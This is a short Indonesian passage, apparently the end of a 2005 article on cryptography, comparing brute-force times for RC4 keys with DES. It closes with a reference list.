64-bit 689.021,57 tahun
128-bit 12.710.204.652.610.000.000.000.000 tahun

Tabel 1.2. Serangan brute-force pada RC4

Dari tabel diatas dapat dilihat bahwa metode enkripsi dengan menggunkan RC4 masih lebih aman dibanding dengan metode enkripsi dengan DES.




Daftar pustaka

Wicaksono, Adi. (2003). Pemrograman Internet dan XML pada Ponsel dengan Midlet Java. Jakarta: PT Elex Media Komputindo.

Kriptografi [online], available http://www.geocities.com/amwibowo/resource/ komparasi/komparasi.html [12 desember 2005].

Sukmawan, Budi.(1998). RC4 STREAM CIPHER, available http://bdg.centrin.net.id/ ~budskman/rc4.htm [12 desember 2005].

Semoga bermanfaat.